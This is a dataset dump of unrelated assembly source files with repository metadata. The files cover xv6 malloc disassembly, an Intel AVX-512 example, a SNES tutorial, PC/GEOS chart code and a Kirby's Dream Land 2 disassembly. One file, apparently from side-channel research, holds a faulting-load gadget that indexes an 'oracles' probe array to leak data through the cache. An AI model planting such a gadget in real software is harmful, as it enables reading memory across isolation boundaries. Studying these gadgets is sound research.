for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
886: 611c ld a5,0(a0)
if(p->s.size >= nunits){
888: 4798 lw a4,8(a5)
88a: fa9775e3 bgeu a4,s1,834 <malloc+0x70>
if(p == freep)
88e: 00093703 ld a4,0(s2)
892: 853e mv a0,a5
894: fef719e3 bne a4,a5,886 <malloc+0xc2>
p = sbrk(nu * sizeof(Header));
898: 8552 mv a0,s4
89a: 00000097 auipc ra,0x0
89e: b74080e7 jalr -1164(ra) # 40e <sbrk>
if(p == (char*)-1)
8a2: fd5518e3 bne a0,s5,872 <malloc+0xae>
return 0;
8a6: 4501 li a0,0
8a8: bf45 j 858 <malloc+0x94>
| 29.653389 | 62 | 0.460574 |
ea7b1d3a664f5976909ce68199e5079ceef05499 | 2,619 | asm | Assembly | chap18/ex18/qword_avx512_ass.asm | JamesType/optimization-manual | 61cdcebb16e0768a6ab7e85ed535e64e9d8cc31a | [
"0BSD"
] | 374 | 2021-06-08T10:42:01.000Z | 2022-03-29T14:21:45.000Z | chap18/ex18/qword_avx512_ass.asm | JamesType/optimization-manual | 61cdcebb16e0768a6ab7e85ed535e64e9d8cc31a | [
"0BSD"
] | 1 | 2021-06-11T20:24:02.000Z | 2021-06-11T20:24:02.000Z | chap18/ex18/qword_avx512_ass.asm | JamesType/optimization-manual | 61cdcebb16e0768a6ab7e85ed535e64e9d8cc31a | [
"0BSD"
] | 39 | 2021-06-08T11:25:29.000Z | 2022-03-05T05:14:17.000Z | ;
; Copyright (C) 2021 by Intel Corporation
;
; Permission to use, copy, modify, and/or distribute this software for any
; purpose with or without fee is hereby granted.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
; OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
; PERFORMANCE OF THIS SOFTWARE.
;
; .globl qword_avx512_ass
; void qword_avx512_ass(const int64_t *a, const int64_t *b, int64_t *c, uint64_t count);
;
; On entry:
; rcx = a
; rdx = b
; r8 = c
; r9 = count
.code
qword_avx512_ass PROC public
sub rsp, 168
vmovaps xmmword ptr[rsp], xmm6
vmovaps xmmword ptr[rsp+16], xmm7
vmovaps xmmword ptr[rsp+32], xmm8
vmovaps xmmword ptr[rsp+48], xmm9
vmovaps xmmword ptr[rsp+64], xmm10
vmovaps xmmword ptr[rsp+80], xmm11
vmovaps xmmword ptr[rsp+96], xmm12
vmovaps xmmword ptr[rsp+112], xmm13
vmovaps xmmword ptr[rsp+128], xmm14
vmovaps xmmword ptr[rsp+144], xmm15
shr r9, 5
xor rax, rax
xor r10d, r10d
loop1:
vmovups zmm0, zmmword ptr [rcx+rax*8]
inc r10d
vmovups zmm5, zmmword ptr [rcx+rax*8+40h]
vmovups zmm10, zmmword ptr [rcx+rax*8+80h]
vmovups zmm15, zmmword ptr [rcx+rax*8+0c0h]
vmovups zmm1, zmmword ptr [rdx+rax*8]
vmovups zmm6, zmmword ptr [rdx+rax*8+40h]
vmovups zmm11, zmmword ptr [rdx+rax*8+80h]
vmovups zmm16, zmmword ptr [rdx+rax*8+0c0h]
vpaddq zmm2, zmm0, zmm1
vpmullq zmm3, zmm0, zmm1
vpaddq zmm7, zmm5, zmm6
vpmullq zmm8, zmm5, zmm6
vpaddq zmm12, zmm10, zmm11
vpmullq zmm13, zmm10, zmm11
vpaddq zmm17, zmm15, zmm16
vpmullq zmm18, zmm15, zmm16
vpmaxsq zmm4, zmm2, zmm3
vpmaxsq zmm9, zmm7, zmm8
vpmaxsq zmm14, zmm12, zmm13
vpmaxsq zmm19, zmm17, zmm18
vmovups zmmword ptr [r8], zmm4
vmovups zmmword ptr [r8+40h], zmm9
vmovups zmmword ptr [r8+80h], zmm14
vmovups zmmword ptr [r8+0c0h], zmm19
add rax, 20h
add r8, 100h
cmp r10d, r9d
jb loop1
vzeroupper
vmovaps xmm6, xmmword ptr[rsp]
vmovaps xmm7, xmmword ptr[rsp+16]
vmovaps xmm8, xmmword ptr[rsp+32]
vmovaps xmm9, xmmword ptr[rsp+48]
vmovaps xmm10, xmmword ptr[rsp+64]
vmovaps xmm11, xmmword ptr[rsp+80]
vmovaps xmm12, xmmword ptr[rsp+96]
vmovaps xmm13, xmmword ptr[rsp+112]
vmovaps xmm14, xmmword ptr[rsp+128]
vmovaps xmm15, xmmword ptr[rsp+144]
add rsp, 168
ret
qword_avx512_ass ENDP
end
| 27.568421 | 89 | 0.73425 |
062c8d72793ddaa2b19aa484964aa20ec450ea1f | 3,812 | asm | Assembly | main.asm | nesdoug/SNES_04 | 9cb5b5b5f7fcec98e272f0a9494f9031a30491c5 | [
"MIT"
] | 3 | 2020-05-22T22:57:33.000Z | 2020-06-15T13:08:00.000Z | main.asm | nesdoug/SNES_04 | 9cb5b5b5f7fcec98e272f0a9494f9031a30491c5 | [
"MIT"
] | null | null | null | main.asm | nesdoug/SNES_04 | 9cb5b5b5f7fcec98e272f0a9494f9031a30491c5 | [
"MIT"
] | null | null | null | ; example 4 SNES code
.p816
.smart
.include "regs.asm"
.include "variables.asm"
.include "macros.asm"
.include "init.asm"
.segment "CODE"
; enters here in forced blank
Main:
.a16 ; the setting from init code
.i16
phk
plb
; DMA from BG_Palette to CGRAM
A8
stz CGADD ; $2121 cgram address = zero
stz $4300 ; transfer mode 0 = 1 register write once
lda #$22 ; $2122
sta $4301 ; destination, cgram data
ldx #.loword(BG_Palette)
stx $4302 ; source
lda #^BG_Palette
sta $4304 ; bank
ldx #256
stx $4305 ; length
lda #1
sta MDMAEN ; $420b start dma, channel 0
; DMA from Tiles to VRAM
lda #V_INC_1 ; the value $80
sta VMAIN ; $2115 = set the increment mode +1
ldx #$0000
stx VMADDL ; set an address in the vram of $0000
lda #1
sta $4300 ; transfer mode, 2 registers 1 write
; $2118 and $2119 are a pair Low/High
lda #$18 ; $2118
sta $4301 ; destination, vram data
ldx #.loword(Tiles)
stx $4302 ; source
lda #^Tiles
sta $4304 ; bank
ldx #(End_Tiles-Tiles)
stx $4305 ; length
lda #1
sta MDMAEN ; $420b start dma, channel 0
; DMA from Tiles2 to VRAM
ldx #$3000
stx VMADDL ; set an address in the vram of $3000
; 4300 and 4301 still hold the correct values for transfers to vram
; and don't need to be rewritten here
ldx #.loword(Tiles2)
stx $4302 ; source
lda #^Tiles2
sta $4304 ; bank
ldx #(End_Tiles2-Tiles2)
stx $4305 ; length
lda #1
sta MDMAEN ; $420b start dma, channel 0
; DMA from Tilemap to VRAM
ldx #$6000
stx VMADDL ; set an address in the vram of $6000
; removed duplicate writes to 4300 and 4301
ldx #.loword(Tilemap)
stx $4302 ; source
lda #^Tilemap
sta $4304 ; bank
ldx #$700
stx $4305 ; length
lda #1
sta MDMAEN ; $420b start dma, channel 0
; DMA from Tilemap2 to VRAM
ldx #$6800
stx VMADDL ; set an address in the vram of $6800
; removed duplicate writes to 4300 and 4301
ldx #.loword(Tilemap2)
stx $4302 ; source
lda #^Tilemap2
sta $4304 ; bank
ldx #$700
stx $4305 ; length
lda #1
sta MDMAEN ; $420b start dma, channel 0
; DMA from Tilemap3 to VRAM
ldx #$7000
stx VMADDL ; set an address in the vram of $7000
; removed duplicate writes to 4300 and 4301
ldx #.loword(Tilemap3)
stx $4302 ; source
lda #^Tilemap3
sta $4304 ; bank
ldx #$700
stx $4305 ; length
lda #1
sta MDMAEN ; $420b start dma, channel 0
; a is still 8 bit.
lda #1 ; mode 1, tilesize 8x8 all
sta BGMODE ; $2105
; 210b = tilesets for bg 1 and bg 2
; (210c for bg 3 and bg 4)
; steps of $1000 -321-321... bg2 bg1
stz BG12NBA ; $210b BG 1 and 2 TILES at VRAM address $0000
lda #$03
sta BG34NBA ; $210c BG3 TILES at VRAM address $3000
; 2107 map address bg 1, steps of $400... -54321yx
; y/x = map size... 0,0 = 32x32 tiles
; $6000 / $100 = $60
lda #$60 ; bg1 map at VRAM address $6000
sta BG1SC ; $2107
lda #$68 ; bg1 map at VRAM address $6800
sta BG2SC ; $2108
lda #$70 ; bg3 map at VRAM address $7000
sta BG3SC ; $2109
lda #BG_ALL_ON
sta TM ; $212c
lda #FULL_BRIGHT ; $0f = turn the screen on (end forced blank)
sta INIDISP ; $2100
Infinite_Loop:
A8
XY16
jsr Wait_NMI
;code goes here
jmp Infinite_Loop
Wait_NMI:
.a8
.i16
;should work fine regardless of size of A
lda in_nmi ;load A register with previous in_nmi
@check_again:
WAI ;wait for an interrupt
cmp in_nmi ;compare A to current in_nmi
;wait for it to change
;make sure it was an nmi interrupt
beq @check_again
rts
.include "header.asm"
.segment "RODATA1"
BG_Palette:
; 256 bytes
.incbin "M1TE/allBG.pal"
Tiles:
; 4bpp tileset
.incbin "M1TE/moon.chr"
End_Tiles:
Tiles2:
; 2bpp tileset
.incbin "M1TE/spacebar.chr"
End_Tiles2:
Tilemap:
; $700 bytes
.incbin "M1TE/moon.map"
Tilemap2:
; $700 bytes
.incbin "M1TE/bluebar.map"
Tilemap3:
; $700 bytes
.incbin "M1TE/spacebar.map"
| 17.896714 | 67 | 0.674974 |
a8ea10471161a177bee98003579821ae4c373547 | 4,185 | asm | Assembly | Library/Chart/Series/seriesSpider.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Chart/Series/seriesSpider.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Chart/Series/seriesSpider.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1993 -- All Rights Reserved
PROJECT: PC/GEOS
MODULE: Chart Library
FILE: seriesSpider.asm
AUTHOR: Vijay Menon, Aug 5, 1993
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
VM 8/ 5/93 Initial revision
DESCRIPTION:
SpiderClass
$Id: seriesSpider.asm,v 1.1 97/04/04 17:47:05 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SpiderRealize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Realize a series of data
CALLED BY: MSG_CHART_OBJECT_REALIZE
PASS: *ds:si = SpiderClass object
ds:di = SpiderClass instance data
ds:bx = SpiderClass object (same as *ds:si)
es = segment of SpiderClass
ax = message #
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
VM 8/ 5/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SpiderRealize method dynamic SpiderClass,
MSG_CHART_OBJECT_REALIZE
uses ax,cx,dx
locals local SeriesDrawLocalVars
.enter inherit
mov cl, locals.SDLV_seriesNum
mov ax, offset SetPointInDataBlock
mov locals.SDLV_callback, ax
clr locals.SDLV_pointer
clr locals.SDLV_numPoints
; Compute the point for each category.
call SeriesDrawEachCategory
; Add the first point again on the end, so a line is drawn
; from the last point to the first point.
push si
mov cl, locals.SDLV_seriesNum
clr ch
clr dx
mov si, locals.SDLV_valueAxis
mov ax, MSG_AXIS_GET_VALUE_POSITION
call ObjCallInstanceNoLock
pop si
mov bx, ax
mov ax, cx
call SetPointCommon
call LineOrScatterCreateOrUpdatePolyline
inc locals.SDLV_seriesNum
.leave
mov di, offset SpiderClass
GOTO ObjCallSuperNoLock
SpiderRealize endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SpiderGetMaxTextBounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Determine the largest bounds of the text objects for
the Spider chart
CALLED BY: MSG_CHART_OBJECT_GET_MAX_TEXT_SIZE
PASS: *ds:si = SpiderClass object
ds:di = SpiderClass instance data
ds:bx = SpiderClass object (same as *ds:si)
es = segment of SpiderClass
ax = message #
cx, dx = current max
bp = series #
RETURN: cx, dx, bp updated
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
VM 8/18/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CALC_TEXT_BOUNDS_FUDGE_FACTOR equ 4
SpiderGetMaxTextBounds method dynamic SpiderClass,
MSG_CHART_OBJECT_GET_MAX_TEXT_SIZE
currentMax local Point push dx, cx
.enter
sub sp, CHART_TEXT_BUFFER_SIZE
mov di, sp
segmov es, ss
call UtilGetChartAttributes
test dx, mask CF_CATEGORY_TITLES
jz nothing
mov ax, MSG_CHART_GROUP_GET_CATEGORY_COUNT
call UtilCallChartGroup
dec cx
; Loop through each category to find the maximum height and
; width of any text.
categoryLoop:
push cx
push bp
mov dx, ss
mov bp, di
mov ax, MSG_CHART_GROUP_GET_CATEGORY_TITLE
call UtilCallChartGroup
pop bp
;
; If there's really no text there, then just return zero (XXX:
; Maybe UtilGetTextSize should do this).
;
cmp {char} es:[di], 0
je continue
call UtilGetTextSize ; cx, dx - width, height
add cx, CALC_TEXT_BOUNDS_FUDGE_FACTOR
add dx, CALC_TEXT_BOUNDS_FUDGE_FACTOR
Max ss:[currentMax].P_x, cx
Max ss:[currentMax].P_y, dx
continue:
pop cx
dec cx
jns categoryLoop
mov cx, ss:[currentMax].P_x
mov dx, ss:[currentMax].P_y
done:
add sp, CHART_TEXT_BUFFER_SIZE
.leave
ret
nothing:
clr cx, dx
jmp done
SpiderGetMaxTextBounds endm
| 21.461538 | 79 | 0.597372 |
2da46e0d3b0ec8ba954938c1bf69acce0ecf917d | 1,030 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_13_1251.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_13_1251.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_13_1251.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %r9
push %rax
push %rbp
push %rdx
// Store
lea addresses_UC+0xbc35, %r8
clflush (%r8)
cmp %rbp, %rbp
mov $0x5152535455565758, %r11
movq %r11, %xmm7
movups %xmm7, (%r8)
nop
nop
add $17016, %r9
// Faulty Load
lea addresses_US+0x1c7c, %rbp
nop
nop
nop
nop
cmp $55669, %rdx
mov (%rbp), %r9w
lea oracles, %r11
and $0xff, %r9
shlq $12, %r9
mov (%r11,%r9,1), %r9
pop %rdx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'00': 13}
00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 17.758621 | 122 | 0.64466 |
13d3f9989dad6f40c892c6cd5ac526f84de35703 | 642 | asm | Assembly | oeis/314/A314903.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/314/A314903.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/314/A314903.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A314903: Coordination sequence Gal.6.339.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Jon Maiga
; 1,5,9,14,19,24,30,36,41,46,51,55,60,65,69,74,79,84,90,96,101,106,111,115,120,125,129,134,139,144,150,156,161,166,171,175,180,185,189,194,199,204,210,216,221,226,231,235,240,245
mov $1,$0
seq $1,314108 ; Coordination sequence Gal.6.198.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
mov $2,$0
mul $0,7
sub $0,1
mod $0,$1
mul $2,3
add $0,$2
add $0,1
| 45.857143 | 182 | 0.73053 |
f041335063acde9bf222c575ea7a95e291e31b6c | 463 | asm | Assembly | oeis/289/A289896.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/289/A289896.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/289/A289896.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A289896: Number of (undirected) cycles in the n-triangular honeycomb rook graph.
; 0,0,1,8,45,242,1414,9432,72246,628260,6116319,65856928,776628203,9950798214,137612550620,2042588039056,32384583304092,546155914771464,9761655297881037,184309987662192600,3665514979650544153,76586509823743735706,1677182881414143407490
lpb $0
mov $2,$0
sub $0,1
seq $2,119913 ; Number of directed simple cycles in the complete graph K_n.
add $3,$2
lpe
mov $0,$3
div $0,2
| 38.583333 | 235 | 0.792657 |
7f4e6ff070e2caec56c10fd92022bbf9f0f435d9 | 111,666 | asm | Assembly | projects/Kirbys_Dream_Land_2.windfish/disassembly/bank_07.asm | jverkoey/awaken | 743755248996deb7181ae92f6e60be5656439c44 | [
"Apache-2.0"
] | 68 | 2020-12-16T10:06:48.000Z | 2022-03-29T19:54:01.000Z | projects/Kirbys_Dream_Land_2.windfish/disassembly/bank_07.asm | jverkoey/awaken | 743755248996deb7181ae92f6e60be5656439c44 | [
"Apache-2.0"
] | 62 | 2020-12-19T04:28:41.000Z | 2021-02-15T22:18:16.000Z | projects/Kirbys_Dream_Land_2.windfish/disassembly/bank_07.asm | jverkoey/awaken | 743755248996deb7181ae92f6e60be5656439c44 | [
"Apache-2.0"
] | 4 | 2021-01-17T03:51:22.000Z | 2021-01-21T16:26:53.000Z | SECTION "ROM Bank 07", ROMX[$4000], BANK[$07]
toc_07_4000:
assign [$DA3B], $01
assign [$DA3A], $02
ld hl, $DA3C
ld bc, $BC00
ld [hl], c
inc hl
ld [hl], b
xor a
ld hl, $DA30
ldi [hl], a
ld [hl], a
ld [$DA0E], a
ret
toc_07_401D:
ld hl, $D900
.loop_07_4020:
ld b, $08
.loop_07_4022:
rrc l
rla
dec b
jr nz, .loop_07_4022
ldi [hl], a
inc a
jr nz, .loop_07_4020
ret
db $3B, $3D, $FF, $02, $FF, $70, $98, $48
db $68, $B8, $BA, $3C, $3B, $FF, $02, $FF
db $18, $60, $18, $38, $B9, $B8, $3B, $0C
db $FF, $02, $07, $07, $07, $07, $05, $00
db $FF, $60, $F8, $68, $A0, $D0, $30, $30
db $B0, $F0, $00, $80, $D0, $A8, $F8, $30
db $60, $B8, $58, $B8, $E8, $28, $58, $88
db $18, $18, $B8, $B8, $80, $50, $50, $00
db $00, $44, $98, $44, $38, $50, $50, $60
db $50, $30, $70, $28, $70, $40, $60, $30
db $48, $60, $58, $30, $38, $30, $68, $50
db $50, $68, $50, $68, $38, $38, $68, $50
db $38, $68, $40, $60, $64, $68, $3C, $B8
db $BB, $BB, $BB, $BB, $BB, $BC, $BC, $BC
db $BB, $BC, $BC, $BB, $BB, $BB, $BB, $BB
db $BC, $BC, $BB, $BB, $BB, $BB, $BB, $BC
db $BC, $BB, $BB, $BB, $BC, $BB, $BC, $BB
db $BC, $BC, $3F, $3B, $FF, $02, $FF, $60
db $60, $28, $38, $CE, $B8, $40, $3B, $FF
db $03, $00, $00, $00, $00, $00, $00, $00
db $FF, $98, $98, $60, $48, $58, $38, $CF
db $D3, $B8, $41, $3B, $FF, $02, $FF, $88
db $60, $68, $38, $D0, $B8
toc_07_40E2:
ld hl, $CC00
ld a, [$DB5F]
inc a
ld b, a
jr .toc_07_40F3
.loop_07_40EC:
ldi a, [hl]
sub a, $BD
cp $10
jr c, .else_07_40F9
.toc_07_40F3:
dec b
jr nz, .loop_07_40EC
ld a, [$DB60]
.else_07_40F9:
add a, $24
ld e, a
cbcallNoInterrupts $1E, $6002
ret
toc_07_4105:
ifEq [$DB61], $08, .return_07_4120
ld a, [$DB60]
ld hl, $4121
add a, l
ld l, a
jr nc, .else_07_4117
inc h
.else_07_4117:
ld e, [hl]
cbcallNoInterrupts $1E, $606D
.return_07_4120:
ret
db $04, $00, $05, $08, $00, $00, $09
toc_07_4128:
ld a, [$DEFF]
or a
ret nz
ld hl, $CC00
ld a, [$DB5F]
inc a
ld b, a
jr .toc_07_413C
.loop_07_4137:
ldi a, [hl]
cp $B2
jr z, .else_07_4141
.toc_07_413C:
dec b
jr nz, .loop_07_4137
jr .else_07_4155
.else_07_4141:
ld a, [$DB60]
call toc_01_0663
ld hl, $DD63
and [hl]
jr nz, .else_07_4155
assign [$DB6F], $12
ld e, a
jr .else_07_41AD
.else_07_4155:
ld a, [$DB73]
or a
ld a, $FF
jr nz, .else_07_417B
ld a, [$DB60]
ld hl, $41B6
add a, a
add a, l
ld l, a
jr nc, .else_07_4169
inc h
.else_07_4169:
ldi a, [hl]
ld h, [hl]
ld l, a
ld a, [$DB61]
sub a, $08
jr nc, .else_07_4175
ld a, $02
.else_07_4175:
add a, l
ld l, a
jr nc, .else_07_417A
inc h
.else_07_417A:
ld a, [hl]
.else_07_417B:
ld [$DB6F], a
__ifNotZero [$DB38], .else_07_418A
clear [$DB38]
jr .return_07_41B5
.else_07_418A:
ld a, [$DB6F]
ld e, a
ifLt [$DB61], $08, .else_07_41AD
ld a, [$A071]
or a
jr nz, .else_07_41A4
ld a, [$DDE4]
inc a
cp e
jr z, .return_07_41B5
jr .else_07_41AD
.else_07_41A4:
ld hl, $41D8
add a, l
ld l, a
jr nc, .else_07_41AC
inc h
.else_07_41AC:
ld e, [hl]
.else_07_41AD:
cbcallNoInterrupts $1F, $4232
.return_07_41B5:
ret
db $C4, $41, $C7, $41, $CA, $41, $CD, $41
db $D0, $41, $D3, $41, $D6, $41, $03, $13
db $05, $0A, $13, $08, $0C, $13, $1F, $22
db $13, $21, $23, $13, $01, $24, $13, $26
db $11, $FF, $10, $14, $09, $0B
toc_07_41DC:
ld hl, $DB51
ldi a, [hl]
ld [$DA01], a
sub a, $10
ld c, a
ldi a, [hl]
ld b, a
jr nc, .else_07_41EB
dec b
.else_07_41EB:
ldi a, [hl]
ld [$DA00], a
sub a, $10
ld e, a
ld d, [hl]
jr nc, .else_07_41F6
dec d
.else_07_41F6:
call toc_01_15E3
push hl
call toc_01_15FC
pop bc
ld d, $0D
ld e, $0B
jr .else_07_421E
.loop_07_4204:
ld a, c
add a, $10
ld c, a
jr c, .else_07_4213
ld a, l
add a, $40
ld l, a
jr nc, .else_07_421E
inc h
jr .else_07_421E
.else_07_4213:
ld a, [$DB3D]
add a, b
ld b, a
ld h, $98
ld a, l
and %00011111
ld l, a
.else_07_421E:
push bc
push hl
push de
jr .toc_07_4236
.loop_07_4223:
inc c
ld a, c
and %00001111
jr z, .else_07_422D
inc l
inc l
jr .toc_07_4236
.else_07_422D:
ld a, c
sub a, $10
ld c, a
inc b
ld a, l
and %11100000
ld l, a
.toc_07_4236:
ld a, [bc]
push bc
ld c, a
ld b, $C5
ld a, [bc]
ldi [hl], a
inc b
ld a, [bc]
ld [hl], a
inc b
ld a, l
add a, $1F
ld l, a
ld a, [bc]
ldi [hl], a
inc b
ld a, [bc]
ld [hl], a
ld a, l
sub a, $21
ld l, a
pop bc
dec d
jr nz, .loop_07_4223
pop de
pop hl
pop bc
dec e
jr nz, .loop_07_4204
ret
toc_07_4259:
ld hl, $DB51
ldi a, [hl]
ld [$DA01], a
sub a, $10
ld c, a
ldi a, [hl]
ld b, a
jr nc, .else_07_4268
dec b
.else_07_4268:
ldi a, [hl]
ld [$DA00], a
sub a, $10
ld e, a
ld d, [hl]
jr nc, .else_07_4273
dec d
.else_07_4273:
ld a, e
and %11110000
ld h, a
ld a, [$DB56]
sub a, h
jr z, .else_07_4294
push bc
push de
rla
jr nc, .else_07_4289
ld a, e
add a, $A0
ld e, a
jr nc, .else_07_4289
inc d
.else_07_4289:
ld a, h
ld [$DB56], a
ld a, $0D
call toc_07_42BC
pop de
pop bc
.else_07_4294:
ld a, c
and %11110000
ld h, a
ld a, [$DB55]
sub a, h
jr z, .return_07_42BB
rla
jr nc, .else_07_42A8
ld a, c
add a, $B0
ld c, a
jr nc, .else_07_42A8
inc b
.else_07_42A8:
ld a, h
ld [$DB55], a
push bc
ld bc, $0400
.loop_07_42B0:
dec bc
ld a, b
or c
jr nz, .loop_07_42B0
pop bc
ld a, $0B
call toc_07_4318
.return_07_42BB:
ret
toc_07_42BC:
ld [$FF84], a
ld [hDMARegion], a
call toc_01_15FC
push hl
call toc_01_15E3
ld b, h
ld c, l
pop de
ld a, [$DA22]
ld l, a
ld a, [$DA28]
ld h, a
jr .toc_07_42E9
.loop_07_42D4:
ld [$FF84], a
inc c
ld a, c
and %00001111
jr z, .else_07_42E0
inc e
inc e
jr .toc_07_42E9
.else_07_42E0:
ld a, c
sub a, $10
ld c, a
inc b
ld a, e
and %11100000
ld e, a
.toc_07_42E9:
ld [hl], e
inc l
ld [hl], d
inc l
ld a, [bc]
push bc
ld c, a
ld b, $C5
ld a, [bc]
ldi [hl], a
inc b
ld a, [bc]
ldi [hl], a
inc b
ld a, [bc]
ldi [hl], a
inc b
ld a, [bc]
ldi [hl], a
pop bc
ld a, [$FF84]
dec a
jr nz, .loop_07_42D4
ld a, l
ld [$DA22], a
ld a, [$DA28]
ld hl, $DA23
rra
jr nc, .else_07_4313
ld hl, $DA24
.else_07_4313:
ld a, [hDMARegion]
add a, [hl]
ld [hl], a
ret
toc_07_4318:
ld [$FF84], a
ld [hDMARegion], a
call toc_01_15FC
push hl
call toc_01_15E3
ld b, h
ld c, l
pop de
ld a, [$DA22]
ld l, a
ld a, [$DA28]
ld h, a
jr .else_07_434C
.loop_07_4330:
ld [$FF84], a
ld a, c
add a, $10
ld c, a
jr c, .else_07_4341
ld a, e
add a, $40
ld e, a
jr nc, .else_07_434C
inc d
jr .else_07_434C
.else_07_4341:
ld a, [$DB3D]
add a, b
ld b, a
ld d, $98
ld a, e
and %00011111
ld e, a
.else_07_434C:
ld [hl], e
inc l
ld [hl], d
inc l
ld a, [bc]
push bc
ld c, a
ld b, $C5
ld a, [bc]
ldi [hl], a
inc b
ld a, [bc]
ldi [hl], a
inc b
ld a, [bc]
ldi [hl], a
inc b
ld a, [bc]
ldi [hl], a
pop bc
ld a, [$FF84]
dec a
jr nz, .loop_07_4330
ld a, l
ld [$DA22], a
ld a, [$DA28]
ld hl, $DA23
rra
jr nc, .else_07_4376
ld hl, $DA24
.else_07_4376:
ld a, [hDMARegion]
add a, [hl]
ld [hl], a
ret
db $C5, $D5, $E5, $CD, $E3, $15, $44, $4D
db $E1, $F0, $80, $5F, $18, $0B, $0C, $79
db $E6, $0F, $20, $05, $79, $D6, $10, $4F
db $04, $2A, $02, $1D, $20, $F0, $F0, $80
db $D1, $C1, $C3, $BC, $42
toc_07_43A0:
ld hl, $DB51
